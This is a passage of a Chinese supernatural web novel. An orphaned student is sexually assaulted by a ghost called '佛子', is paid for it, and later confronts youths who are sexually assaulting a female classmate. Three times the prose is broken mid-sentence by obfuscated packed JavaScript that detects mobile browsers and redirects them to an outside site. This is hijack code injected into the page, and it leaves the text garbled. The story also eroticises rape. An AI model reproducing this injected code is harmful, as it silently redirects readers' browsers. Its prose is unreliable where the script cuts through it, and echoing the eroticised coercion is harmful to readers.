鬼使神差之间,施霜景扭头望向了墙上的佛龛,他惊讶地发现,那慈眉善目的螺发药师佛竟背过身去,头后又生一头,两臂后又生四臂,各臂都持有物……新生出的佛首闭着眼,闭眼佛本应该是比慈眉善目的开眼佛更显安详,可施霜景只是不寒而栗。幽幽夜色泛着蓝,如一层薄纱披挂在佛像身上。 等死比将死更耗费力气。施霜景装作不怕,其实心脏都已经快跳不动了。 施霜景忽然踢到了自己的手机。他忙不迭捡起来,发现手机屏幕已经恢复。他的微信有好几条消息,施霜景一看见那消息人便心死。 [空白]:躺回床上去,我不与人在地上。 [空白]:你不挣扎就不会受伤。 [空白]:今晚做不了的话,你的世界不会迎来明天。 [空白]:你和其他祭品不一样。我说过,你是我很满意的祭品。 [空白]:不会让你今晚死。 施霜景看了发送时间,发现是两个小时之前。也就是说,刚才那“东西”真的是佛子。 佛子不是人。他绝对不是人。施霜景非常确定家里除了他没有其他人。 如果佛子是字面意思……家里的佛像……施霜景只能做简单的关联动作,他二话不说,将佛龛里的双面六臂佛取下来,紧接着,他干了一件完全没过大脑、纯属发泄愤怒的事。 他打开大门,用佛像狠狠砸着白墙。他和那天做梦一样,恐惧至极,找到趁手的物体,不管不顾地毁坏着任何他看不爽的东西。 冰冷而精美的佛像手臂几乎要划伤施霜景的手心,施霜景虚起眼睛,心下不爽,将佛首与佛手这类最精致的部位对着墙面猛砸下去。 刚才这个叫佛子的家伙用一块布蒙住他脑袋把他拖走,算这家伙得手一轮。施霜景会打架,鬼来了高低都得挨他几十个拳头。 白墙被凿得灰粉四散,铜鎏金的佛像却很结实,丝毫没有变形。施霜景确定这就是事出反常必有妖的妖。他得处理掉这个佛像。 11. 蓝月空花(下) 铁器砸墙,铿锵动静,施霜景的右手使不上力,只能抡圆了左手,一下一下地将佛头凿下去。他忽然听见清脆一声,两个佛首之一终于分离,撞在墙上,狠狠往外一弹,差点砸中施霜景的眼睛。施霜景真的是相当幸运地闪避而过,可脸部被划出一道血痕,离眼眶就只有毫厘。施霜景没有感觉到疼痛,以为只是一阵细风。他对着手机屏幕的光检查着手上的佛像,发现是原先睁眼的螺纹药师佛头损坏了,而那闭眼佛头竟然毫发无伤。 两个佛头原本后脑相连,如今掉了一颗头,那闭眼佛的后脑空洞出来,残损的佛像只剩阴森。施霜景放弃凑近看,积攒力气,准备第二轮毁坏佛像。这颗佛头会掉就说明施霜景的方法很正确,他就应该用暴力来破坏。 但施霜景确实觉得自己非常不舒服。湿润又黏腻,但又火辣如干涩,而且那种毛茸茸的阴晦之意直钻而来,他是真的分不清是不是真的有东西在摸他。 没爹管教的浪荡鬼!施霜景咬牙切齿,继续砸墙。白墙纹丝不动,佛像也再没有继续崩裂的意思,施霜景可能砸了上百下,力气抽空,这佛像还是冰冰凉凉、完完整整,自己倒是不停地分泌手汗。 施霜景倒回佛龛前,将香炉也狠狠摔掷到地上,香灰顿时铺洒满地。手机光源像极了恐怖片,施霜景总是觉得自己四面八方都有人,或者更具体一些,总像是有人守在他身后,让他脖子僵硬,不敢回头。 手机再次响起。施霜景是常年开静音的人,消息声吓了施霜景一跳。 [空白]:你自己去床上,或者我再拖你一回。 施霜景对着虚无怒吼道:“操!不管你是人还是鬼,你的本体在我手上!” 施霜景吼完,忽然看见地面的香灰上显出脚印,从远及近,施霜景下意识后退,没两步就后背撞上房门的白墙,手机手电筒的银光照向黑暗,远处电视机的表面以及远处未染香灰的瓷砖仿佛也在投射不知从哪来的光源,一切质感好不真实,如梦似幻,却不是好梦。 他下意识屏息,警惕一切动静。 忽然,施霜景的左手忽然被手中的佛像反抱住,极其冰凉的金属质感加上极大的力道,施霜景差点以为自己被手上的佛像咬了。 他侧头看过去,只见手上的东西根本不是什么佛像……虚空中他只见到一只狰狞铁兽头正在收紧它的獠牙,施霜景的左手已经卡住,这黑铜恶兽忽而像犬,忽而似蟒,忽而又骨面飞散、重组,像一簇正在缓缓合拢的铁莲。 施霜景忍痛往外拔自己的手,从小臂到手腕再到手背的皮肤划出深深血印,施霜景肾上腺素爆发,一时间痛意似乎有所控制,他趁机彻底脱出自己的手,但手背也留下了深可见骨的伤口,皮肉往外翻卷着,施霜景看不见切断的血管以及肌肉,因为血不要钱地往外涌。 脖子一紧,这回不是什么蓝绸拂面,施霜景只觉得锁链绕颈,那锁链猛地一带,施霜景再次摔在地上,就这样胸部朝下地被拖行,他头面部、身上全部沾上香灰,他被拖回房间,那看不见的锁链往上一提,施霜景双眼发黑,像是被强迫着上吊,他不能被吊死,扶住床边站起来,然后那锁链再往旁侧一带,施霜景被摔回床上。 双臂都很痛,脖颈再度受力,施霜景刚能喘上两口气就又打算逃下床,那冰冷的手再度出现,四个方向将施霜景的四肢制住,然后从手的质感换回锁链的质感。施霜景被锁在了床上,五花大绑,颈上的锁链触感最鲜明,施霜景仰躺着,仿佛喉部戴枷,沉沉地坠下来,压住他的呼吸,却又不让他完全呼吸不上。 施霜景只能直直看向天花板,从左侧的窗户投来社区路灯的残光,被防盗栅栏切成一条一条,施霜景就是盯着这些光迹,受下了接下来的耻辱刑罚。 佛子来了。 天花板如常,夜色也如常,社区外的灯好亮。施霜景微微侧眼,往窗户的方向看,他希望这只是一场异常恐怖的噩梦,如果他能醒来,他什么都会做的。但施霜景实在太害怕了,身体也太痛了,他害怕有更恐怖的东西出现在眼前,只能不甘地闭上眼。闭眼,意味着不论是死是活,今夜就这样了。施霜景挣扎过,浑身的血都流,所以呢? 施霜景闭眼,做好肠穿肚烂的心理准备。 忽的一阵风拂面,柔软的蓝绸再度覆盖上来,被蓝绸压身,感觉竟然如此鲜明。施霜景恐惧到一个境界,对疼痛的感知又出问题,只觉得心脏很沉、很重,他呼吸放缓,双臂好像又不再痛了。施霜景尝试睁眼,却睁不开眼睛。蓝绸可以捂热,施霜景是热腾腾的活人,刚才的阴森寒意好像又被赶走,仿佛他有一块蓝布可蔽身。这轻柔触感像是好梦了,施霜景甚至不再觉得身体疼痛。这是梦吗?不会真的是梦吧?是鬼压床吗? 比起进出的感觉,施霜景接下来好像只能感觉到纯粹的快乐,比如受到抚摸的感觉,纵使根本没有什么东西在“抚摸”。绸布如被,如昂贵的丝被,如拥抱,甚至如亲如友。施霜景不聪明,刚才担惊受怕几小时,现在用轻柔之物盖住他,他就像是受哄的小狗一样,开始怀疑自己刚才经历的恐惧是不是假的。 屋里回响湿声。 前后风格差异之大,是始作俑者的犹豫。施霜景渐渐失控,但不论气声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417921|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是质问都盖在了软布之下。施霜景的初体验交给了鬼,荒谬到极点就可笑。 沉默又畅快,热汗直流了一整夜。然而这快乐又确实不明不白,彼此都不熟悉,施霜景只记得好几个恍惚的瞬间感觉,似乎有犹豫。是谁的犹豫?为什么犹豫?唉,他太笨也太累了。反正施霜景不犹豫。他放弃了。如果要死,那也没办法。 一夜幽情戏梦,似有软语温言。冬潮寂寥奔泻,一枕暖叹春生。 空花水月佛事,罚恶五欲真心。慈爱有情济济,生死器世有常。 施霜景惊坐起来,三魂七魄归位,他剧烈呼吸,窗外早已晨光明媚。他在床上,甚至盖好了被子。就连电热毯也都热热的。 施霜景下意识看向自己的左手,一切如常。活动右肩,不绝疼痛。皮肤干净,没有乱七八糟的东西。那……施霜景犹豫地将手伸入,有些粘液,但不多,最重要的是,身体并不疼痛。虽然热热的,但睡醒起来应该所有人都是热热的吧?施霜景这样想着,觉得发疯的人是自己。 他不会是做了一场恐怖片噩梦吧?! 施霜景下意识摸向床头充电的手机,手机倒是没有在充电,施霜景点开屏幕,发现已经是上午十点……十点啊,早上的课都上到第三节了吧?没有消息。施霜景麻木地点开微信,手指划动消息界面,划拉好一阵,施霜景也不知道自己要找什么。 这一瞬间就跟失忆了一样,施霜景发起呆来。 哦,对,想起来了……施霜景往上翻,要找那个纯黑头像、空白用户名的“人”。 没找到。 施霜景每天都会确认自己的微信钱包,他毫不过脑地点进自己的微信钱包,发现数字变成了九开头的千位数。 捡起脑子这件事比想象中更困难,施霜景靠着床头缓了好一会,他记得昨晚发生了很恐怖的事,非常真实,真实到超出施霜景的承受范围了。如果那是梦呢?可施霜景也不记得自己什么时候躺回到床上的。他不可能穿着牛仔裤和薄毛衣睡觉,但如果是小睡转成大睡……施霜景将手机往自己胸口一扣,凝视天花板。 他被不知道什么东西给睡了。 如果施霜景的脑子还没有变成浆糊,他记得最开始是强来,但往后有没有变成合谋……不清楚。 是强来。 该死,是强来!! 施霜景怒而下床,赤脚跑去客厅。佛龛如常,香炉如常。 施霜景找遍整个家,没找到郎放的名片。不行,他一定要找到。找不到就完蛋了!施霜景捶着自己心口,他被鬼给睡了!这是什么事啊! 12. 你在生什么气?花钱很难吗? 火速换好衣服,施霜景深呼吸,祈祷噩梦已经顺利结束。不管怎样,他今天一定要离开家。施霜景焦急地旋开门把手。 对面的阿婆正好在掏钥匙开门,施霜景开门的动静小吓了阿婆一跳。施霜景赶紧道歉说对不起,阿婆责骂他:“小伙子开门就开门,一惊一乍的干嘛?!搞那么大动静,吓死了!” 施霜景在心中简直要热泪盈眶,脸上表情还是淡淡的。他大开房门,穿鞋穿衣,甚至这外套还是前一天差点把他手臂吃掉的那一件——施霜景的外套并不多,这件是去年买的新衣服,到了今年还没过新鲜劲,不光是舍不得扔,甚至舍不得不穿。施霜景忽然想起自己没关电热毯,返身跑回屋里关电热毯,顺手抓上书包,将书包里的书都取出来放在饭桌上,记得带手机充电器和证件。 步子扯得大,肚子不舒服。施霜景说不出浑身到底哪里难受,哪儿哪儿都不舒坦,筋骨劳累不说,总觉得每根骨头都热。他摸了摸自己额头,手也热的话就摸不出额头的热度,施霜景呼出一口热气,在冬日拉出长长细细一条烟云。 锁门,下楼,呼吸新鲜空气。施霜景决定今天都不要回这套房。明天、后天可能也不会再回了。在找到郎放之前,要尽量去人多的地方! 正是工作日的上午,厂子居民区只有老年人在活动,年轻一些的居民都在上班或上学。施霜景在靠近菜场的公交站旁找到共享单车,可他的肚子真的很不舒服,酸胀隐痛,施霜景犹豫,决定先等几趟公交,如果公交有座位他就坐公交,如果公交没位,他再骑共享单车去地铁站,坐地铁回他打工的商业街,去蹲郎放和他女儿。 施霜景微微弓腰,左手抵在小腹上,这姿势会让人怀疑他是不是拉肚子。公交二十分钟才来一辆,好几种公交都可以坐到地铁站,但公交辆辆爆满,施霜景在公交站的座椅上休息了半个小时,直坐得屁股也发冷发麻了,这才没办法,忍着难受骑共享单车。 从励光厂骑车前往地铁站的路上,他会路过福利院。从前都是趁夜骑车经过,或是坐着公交无法下车。施霜景远远地看见福利院的大铁门,他记得小时候福利院刚搬到励光厂时,他们用的铁门还花里胡哨,许多镂空花纹,冬天贴对联和彩花还得在红纸上扎出风孔。前几年福利院的铁门换成了全封闭式,施霜景离开福利院之后很少再回去,敲铁门的声音震天响,每次他都会跟着铁门声响一同心颤。 市民政局解决施霜景的学费、一部分租房费用以及两千五的生活费,剩下一小部分租房费用从福利院走。院长和刘奶奶对施霜景说,施霜景想回来随时回来,午餐一顿,晚餐一顿,还有施霜景的份。可施霜景只有清明、中秋和过年的时候才去福利院和大家吃饭,刘奶奶问起,施霜景就说他在打工,说他吃腻了福利院的白菜炖猪肉,要自己赚钱吃好吃的。 其实施霜景根本没有吃腻福利院的菜色,他直到现在还会想念刘奶奶接应仍是孤儿的自己时所煮的青菜粥。施霜景也没有赚到想吃什么就吃什么的钱。 施霜景苍白着脸色坐上地铁。 手机上闪消息,是施霜景的班主任。这一上午的课都要结束了,班主任终于想起有这号人缺课,不过他好歹还会发个消息来问问怎么回事。 一剑霜寒:张老师,我生病了,肚子不舒服 一剑霜寒:昨晚有点发烧,早上没醒过来,所以没有请假,抱歉 张国强:行不行?严重不严重? 张国强:明天要周测,记得来考试 张国强:不行的话给我打电话 一剑霜寒:谢谢张老师 张国强知道施霜景的家庭情况,学校也要求班主任对学生和学生的家庭上点心,尤其是施霜景这样的福利院孤儿。张国强虽然没有实质性帮过施霜景什么,甚至不退钱,但他这时候能问上一两句,已经很宽慰施霜景。 将手机扣上,施霜景今天连耳机都没戴,身体不舒服,听别人唱歌想吐。没过一会儿,手机又震了起来,施霜景以为是班主任又找他。 [空白]:今天把钱花完。 一剑霜寒:你怎么还在我手机里? 施霜景晦气得简直想扔掉手机。和佛子多说一句话都觉得键盘要脏了! [空白]:我不在你手机里。 [空白]:我再重复一遍,今天把钱花完。 一剑霜寒:你什么意思?虽然你给了我九千块,但你没资格管我怎么花钱 一剑霜寒:我不会退钱给你 [空白]:对方正在输入中…… 一剑霜寒:昨天是梦?你不是人,我知道,你肯定不是人 一剑霜寒:你是什么东西?? 一剑霜寒:乱七八糟的东西可以叫佛子吗??不是大不敬吗?? [空白]:你昨天怕成这样,今天还这么对我说话? …… 施霜景打字的双手忽然冷了一冷,好像是有些后知后觉地后怕。 施霜景决定不要再回复了。 地铁往城中心开,人渐多起来。施霜景抱着书包,跟着地铁一起轻晃。将睡未睡间,一个穿着西装的男人走入施霜景的视野。施霜景分不出什么是好西装和差西装,穿西装又要怎么搭配才伸抖,可这人的西装倒是真好看,料子晕着一层暗光,熨得妥妥帖帖,施霜景想抬头看看到底是什么样的一颗头在配这套西装,可脖子不论怎么都抬不起来。施霜景的脑袋一点一点,眼睛闭上,还是睡倒。 男人一转蓝眼睛,扫视车厢其他人。大家彼此相见,其他人的目光都往这里投来,怎么就这个小祭品睡了,是猪吗? 他得盯着施霜景把这笔钱花完。流程不走完,他总是有种不安感。 不安感?真奇异。他的心识是死水、暗水,从上周起心神复又激荡,是唯一的力流转起来。 地铁快到目的地时,施霜景仿佛体内的发条被上紧,很适时地醒过来。这次他看清眼前的西装男了,在一车厢的大学男女、外地游人、气血不足的上班族里,他一身笔挺西装格格不入,很显然是坐地铁来体验生活的。 明星吗?施霜景上抬眼睛,大概瞧了几眼,又垂下眼睛,生怕对方发现。 不知道他在拽什么,表情好像有点讨厌。是中国人吗?怎么是黑头发配蓝眼睛?啊,要到站了要到站了。从昨天开始,蓝色就是施霜景最讨厌的颜色。 “抱歉,请让一下,我马上要下车了。” 西装男微微错步,施霜景抓着扶手站起身,有个小孩两脚一滑就窜过去占了位,施霜景拉住吊环,他比西装男矮一些,没关系,他还在读高中,他还会长,而且也就差七八厘米。施霜景在心里想些有的没的。 地铁逐渐停稳,施霜景抓紧书包带子,跟随人群一道下车。西装男也挪步,跟在施霜景身后,施霜景没来由地在心里犯紧张。他踩上扶手电梯,终于有空环顾四周,却又没看见那西装男。 是换乘了吗? 手机震动。 [空白]:你是要去找你朋友吗? [空白]:至少今天你找不到他。 施霜景又心头火起,看来郎放名片就是佛子搞的鬼,这么说,郎放其实和佛子应该不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417922|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一伙的,那施霜景就更要找到他了。不回。 [空白]:你在生什么气? [空白]:花钱很难吗? 一剑霜寒:…… 一剑霜寒:我不可能一天就把钱花光 一剑霜寒:这是我……挣来的,我爱怎么花怎么花 一剑霜寒:我很穷,这笔钱够我用到过年 一剑霜寒:除非这钱是冥币,今天不花就会收回,那我才会花 [空白]:不可能是冥币。 [空白]:拿去吃吃喝喝,买点喜欢的东西。 一剑霜寒:说得对,我要去吃早餐 [空白]:已经是午餐了。 施霜景真想不通,明明这么恶心的一只鬼,怎么自己还能和他谈笑风生?一阵劲风呼啸而至,施霜景刚出地铁站就被吹得眼神迷离。 他已经想好了,就在刚刚,他看见账户里的小一万块,决定今天一定要去吃砂锅。上个月奶茶店员工聚餐,他们在砂锅店聚,施霜景没有去,因为他看见这家店的人均超出了自己的预算。 施霜景在金钱使用上克扣自己,身为火锅大省的人,却是一年也吃不了几顿火锅。他总觉得钱不够用,于是钱就真不够用了。手里一旦有些闲钱,就会被自己的梦想给骗走。课都不去上的人竟然交了几千块的补课费,施霜景都觉得自己很可笑。 砂锅酸菜鱼上桌,施霜景那冷了一天的脸色终于好转起来,难得见他眼里带点欢快,他还给自己点了份砂锅水饺。 卖身的钱都能用得这么开心,你真是堕落了。施霜景自己教训自己,筷子却不停。 砂锅饺子入口的那瞬间,施霜景想:他竟然卖身卖了一万块,为什么钱对一些人来说这么不值钱,对他这样的人却又太值钱?这样赚钱真的好吗?这饺子真好吃啊。有钱真好啊。 说不定再卖几次,他就能读大学了。施霜景的成绩很差,只能读那些一年学费两三万的大学。但……说不定呢?施霜景吁出一口气,他好累,他想在被社会毒打之前,再享受几年上学的时光。如今上大学真的好奢侈。 一想到昨晚的梦就窝火,一想到钱又难免原谅佛子。施霜景吃得甚是开心,好几次都想摸出手机来拍照发给佛子。不对,他又不是没有朋友。 施霜景拍了两张美食照,发到K歌小群。等了五分钟,没人回复。再等五分钟,算了吧,大家都忙。 施霜景用筷子将碗里的花椒一颗一颗搛出来,反思自己为什么会被鬼缠身。 说到底是施霜景不愿相信那个会给他送钱、送饭的人是坏人……甚至不是人。施霜景不知道别人花多久能挣到一万块,但施霜景打一天的柠檬茶赚一百五,一万块需要他整整半年都献祭自己的周末去和柠檬茶搏斗,施霜景觉得自己的右臂都比左臂粗了。 他还要养猫……玉米啊玉米,说起来这还是我为了给你祈福,才惹上了这种东西呢。 施霜景吃过一顿饱足的午饭,回到步行街,来来回回地走,甚至重新去了那家锅盔店,试图等到那对父女俩。 手机亮起。 不是那个令人尴尬的空白头像、纯黑头像男。找上施霜景的是励光厂的菜鸟驿站老板,他们还加着微信。 励光厂菜鸟驿站:施霜景,你还在用这个微信是吧? 励光厂菜鸟驿站:你上次问我还招不招人 励光厂菜鸟驿站:我最近确实又要招工了 励光厂菜鸟驿站:今天晚上你能不能过来帮忙?以后晚上你也可以过来,晚班还是按30块算 一剑霜寒:好 13. 施霜景之死 让施霜景花钱比让他出血还难。他压根没把佛子的话当回事,而且他本能地感觉到,佛子不怀什么好心,一个鬼催着他花钱能有什么好事?大不了就是今天没花完,晚上又被鬼找上门。被鬼找上门又有什么的呢?吓他吗?那到时候再说了。施霜景不知道是被鬼吓死更可怜还是穷死更可怜。可能还是后者吧,钝刀子磨肉,有些人被凌迟百年才得解脱。 如果有钱了,施霜景到底想干什么呢?这也是一个好抽象好模糊的问题。以前福利院的老师开玩笑问他们,如果他们彩票中奖,打算怎么花这笔钱?施霜景好迷茫,睁着黑黑的眼睛盯老师,竟然在等老师公布正确答案。花钱和赚钱一样,都没有教科书。两者其实是一回事,而施霜景至今没领到过课本。 施霜景在步行街闲逛找人的时候,还被奶茶店的同事撞见,问他怎么不去上学。施霜景支支吾吾,抬出那个理由——“我来市里看病。” “看病?严重吗?”同事问。 “地铁到站的时候就不难受了,白来一趟。”施霜景说。 “这样啊,有事找我们,反正你也在群里。” “谢谢。” 大家都这么说。谁都这么跟施霜景说。施霜景是很笃信别人说出口的话的那类人,就像以前他爸爸病得快死了还让他别担心,施霜景就根本不担心。可他成年了,慢慢意识到很多人这么说只是客套意味,或许他们真的能帮上忙吧,一两次,之后关系就会变得不好,因为施霜景不识趣,把客套当真。 步行街附近的商场、购物中心很多,施霜景吃饱了砂锅,心情好,而且微信钱包里有钱,进商场逛逛吹空调也是不错的。说不定郎放和他女儿会出现在商场里呢?不如说,比起出现在网红的步行街,其实那对父女更应该出现在商场里。郎放自己都说他不缺钱,不缺钱的人都喜欢逛商场。 施霜景当然不是第一次进商场,但这是他第一次不感到那么局促。他的钱包里第一次有这么多钱,快要一万块。施霜景其实特别有动力去菜鸟驿站上班,他希望自己能早点攒钱超过一万——这是他的财务状况里程碑。 外卖员跑进跑出,施霜景的目光追随他们,注意这些外卖员的步速和路线。啊,原来他们很多人都搭货梯,原来一楼的货梯在这里。为什么不搭其他电梯呢?是因为太慢还是因为别的原因?施霜景脑袋里冒着泡泡样的小问题,一个接一个,但总之他是在提前获得某种经验。 如果考不上大学,他就会来送外卖。不光是在商场里,施霜景走在街道上也会注意那些外卖员的车流,蓝蓝黄黄,恍惚间好像会看见和自己长得一模一样的人抬头等红灯过去。 果然如同佛子说的那样,施霜景没有再遇见郎放。可能这就是没缘分吧,明明郎放当时还提醒过他。但施霜景这辈子记得的手机号码也只有两个,一个是自己现在用的手机号,另一个是很多年前就去世的爸爸的手机号。这真是没办法。 一天暴走快两万步,上午一顿砂锅抚慰了施霜景不舒服的小腹。还不到傍晚时分,施霜景算好时间一个人去吃自助火锅。他爱自助!反正他一定能吃回本。吃自助就不用在点菜时在心里打草稿、算价格。 沉寂了一天的手机又跳消息。 [空白]:你完全没把我的话当回事? 施霜景正在涮鹅肠,这是非常要紧的时刻,暂时不回复。 [空白]:还想再来一回吗? 来什么?施霜景将涮好的鹅肠放入香油碟,继续涮毛肚。 忽然,施霜景感觉室内气氛非常不对。行走的服务员停下脚步,吵闹的火锅店霎时沉寂下来,像被按下静音键。施霜景抬头,发现所有人都望向自己。 “佛子问,你在这里干嘛?” “佛子问,你在这里……” “佛子问……” 魔音贯脑,施霜景吓得赶紧抓起手机来回复了。他都忘了佛子会这招,上次在大慈寺把他吓个半死,怎么今天吃火锅还要再来一轮? 一剑霜寒:要先等我吃完饭啊! 一剑霜寒:你怎么老搞这一套?搞得我都害怕人群了 一剑霜寒:你为什么老催我今天就把钱花光,佛子哥? 一剑霜寒:你以后还会找我吗? 火锅店里的无限回音停止,大家又恢复吃吃喝喝说说笑笑,服务员重新迈步,大家竟然都像是什么都没发生过。刚才正在涮的毛肚掉进锅里,施霜景用筷子捞半天也捞不着,只能先把放凉的鹅肠吃掉。 [空白]:不会。 [空白]:只有这一次。 施霜景依稀记得佛子说他们酒店那次是试水……心情很复杂,像考试挂科了似的。虽然施霜景并不喜欢这场考试,但没通过的感觉还是有点难过。 换任何人来都会对施霜景感慨一句“你神经真大条”,但施霜景觉得这是他活到现在的法宝之一。昨晚的事已经过去,他得朝前看。卖身只有一回,卖一次一万块也只有一回,看来缘分也就到此为止。施霜景知道自己该怎么做了。 一剑霜寒:你说的把钱花完,是加上上次的一千块,还是只是今天的九千? [空白]:加上。 一剑霜寒:晚上十一点五十九分之前? [空白]:…… [空白]:你继续吃吧。 晚上六点半,施霜景出现在励光厂菜鸟驿站,女老板正和家里的老人一起围炉吃晚饭,现在天气冷,励光厂比市郊还市郊,就是个小镇,菜鸟驿站开在一连串平房中的一间,烧炉子比开空调划算。她看到施霜景来了,就招呼施霜景坐过去。 “吃过没?要不要吃点?” “谢谢王阿姨,我吃过了才来的。” 女老板端着碗,一边吃一边絮叨。她说家里那个儿子一点靠不住,高考落榜,连个大专都上不了,给他报了复读也不去,一天到晚不知道在和什么人鬼混,一点不着家。冬天来了,马上就要到购物节,她实在忙不过来,只能招回施霜景。 “王阿姨,能不能稍微再涨一点点钱?”施霜景问。 “涨不了,我们自己的利润都快没有了。”女老板直截了当拒绝施霜景。施霜景咬咬下嘴唇,有总比没有好。 既然施霜景到得早,他今晚就上工。他要把滞留驿站的快递再通知一遍,让收件人都来取走。有差不多十五家团购菜还没送上门,王阿姨说这些菜是傍晚才送到的,白天的小工没来得及送。 施霜景一句怨言也没有,说干就干。他接过菜鸟驿站的公用手机,一个个发短信过去问,又将这些滞留的快递整整齐齐分好类。屋外有几个大件,重量都不轻,施霜景看天气预报说今晚要下雨,王阿姨就指挥施霜景将这些大件搬到旁边的库房里去。 施霜景一米八出头,身材很好,都是常年搬货、干活锻炼出来的,和大部分白斩鸡一样的高中男生完全不同。他搬货的时候不穿厚外套,只穿了一件圆领短卫衣,挽起衣袖,手臂肌肉线条很好看。 大约八点半,施霜景开始一家家送团购菜,老板娘借了踏板摩托车给他,一次大概能送五家,送完再回驿站继续装货。 在送第十二家团购菜时,施霜景骑着踏板摩托车往励光厂的厂郊去。厂区里还算热闹,但厂郊就有些偏僻到让人不由自主地害怕了。树叶落了一地,厂里效益不好,清扫落叶也就不积极,摩托车轮碾过落叶和烂泥,窸窣声让人汗毛直立。附近有山有小树林,摩托开过,施霜景偶尔能听到几声伶仃的狗叫。 施霜景顺利找到门牌,平房里亮着灯,传出吵闹的男人声音。施霜景按照团购菜上的虚拟号码打电话,打了三次都没人接,施霜景没办法,只能拎着菜去敲门。 叩门好几次,没人理他。施霜景稍微用了一点力气,敲出大动静,这才听见门里有人骂骂咧咧走过来。 门“砰”地打开,施霜景差点被撞脸,还好他闪得快。 “哟,是你啊?帮我妈送菜送到这里来了?妈的,杨玲玲,滚过来拿他妈的团购菜,X,你之前是不是还想等我来送菜啊?我家店离你们那个破学校这么近,还等着人来送上门?” 杨玲玲快步出来,从菜鸟驿站老板的儿子黄勉身边挤过,伸手接施霜景送来的团购菜。 “施霜景?”杨玲玲认出了施霜景。 施霜景也认出了杨玲玲,是他同班同学,班上经常借他作业抄的女孩之一。 “认识?”黄勉十足十是个痞子,当着施霜景的面对杨玲玲动手动脚,杨玲玲下意识躲,黄勉就更是变本加厉。 “杨玲玲,你一个人住?”施霜景问。 “嗯……嗯,这星期我妈去城里找舅舅了。黄勉!” “都弄过几百回了,不让摸?” 施霜景听见平房里传来麻将声,他有点担心杨玲玲,便问道:“你们大概几点散场?”其实施霜景也不知道他在问谁,是在问黄勉还是在问杨玲玲。 “散你妈X的场,滚!”黄勉狠推了施霜景一把,杨玲玲的眼神跟黏在施霜景脸上似的。施霜景,名字这么娘炮,长得又帅,黄勉以前就看不惯他,他妈就希望施霜景这样的老实人当她儿子,可黄勉觉得施霜景就是个没出息的孬种,老实个屁。 施霜景后退,黄勉把门狠狠一关,屋里又是一阵起哄声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417923|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>大概二十分钟后,施霜景骑着摩托回来。他把剩下三家团购菜送完,还是放心不下杨玲玲。房里应该不止黄勉一个男生,就算杨玲玲是黄勉的女朋友,施霜景也觉得这场合真的有些危险。 他只是想再确认一下杨玲玲需不需要帮忙。 施霜景敲门,敲啊敲,这回来开门的是不认识的男人,年纪比刚才的黄勉要大上不少,应该快三十岁。施霜景直说了:“我找杨玲玲。” “进来。”男人偏偏头,示意施霜景进屋子。 屋里臭气萦绕,油腻的菜味、熏人的烟味和男性的体味。施霜景进了屋才听见好几道男声交织在一起,光听调子就能听出他们那不合时宜的兴奋。其中一间房门半掩着,男人推开门,“杨玲玲,有人找你。” 杨玲玲被几个男人团围住,施霜景只扫一眼就知道非礼勿视。还没等施霜景反应过来,黄勉就开腔了:“又是你?还是说你也想来?来就来吧,就当封口费。” “你们这样做犯法。”施霜景说。 团围着杨玲玲的几个年轻人爆发出嚣张笑声,黄勉下床,走到施霜景面前,他比施霜景矮,就更看施霜景不爽。黄勉伸手要去摸施霜景,施霜景昨天才被鬼非礼过,今天怎么可能再让其他人摸一回,他当即就狠撞了一下黄勉的肩膀,把他挡开。 “有感觉了的话就一起来啊,装什么装?你和杨玲玲是同班同学是吧,你也来试试……” “黄勉,不介绍一下?”那个开门的三十岁男人忽然出声。 黄勉说:“有什么好介绍的,和小婊子一个班,哦,对,他是个孤儿,穷得要命的孤儿。施霜景,你要是想滚蛋也行,假装什么都不知道,明天我再给你一百块。” “给他五百。”三十岁男人说。 施霜景道:“我不要钱。你们不能这样。黄勉你是杨玲玲的男朋友吗?” 黄勉当即怪声怪气道:“杨玲玲还能有男朋友?没听见我们都喊她小婊子吗?” 施霜景在心里长长叹息一声,他做事不经脑子,但会经良心。施霜景脱下外套,扔到床上,“杨玲玲,穿衣服,你可以先去我家。” 混混们炸开锅。这什么年头了,还有人演英雄救美?场上除了三十岁男人,加起来统共六人,杨玲玲是抓住外套并整理仪容了,可施霜景也被混混围在了中心。最看不惯施霜景的黄勉上手拍打施霜景的脸,被施霜景挡开,这一挡就是个信号,有人开始动拳脚。施霜景双手交叉,挡在脑袋前,他用力冲撞,试图从人群中挤出去,但又想去顾杨玲玲,杨玲玲正在床尾整理衣服,她刚才已经套上了施霜景的羽绒服。 这些混混的拳脚力气不大,要找其他道具才能造成伤害。施霜景闪躲间趁机护着杨玲玲从房间里出来,可刚出到客厅,那三十岁男人就指挥道:“你们两个去抓这娘们,黄勉,闪开。” 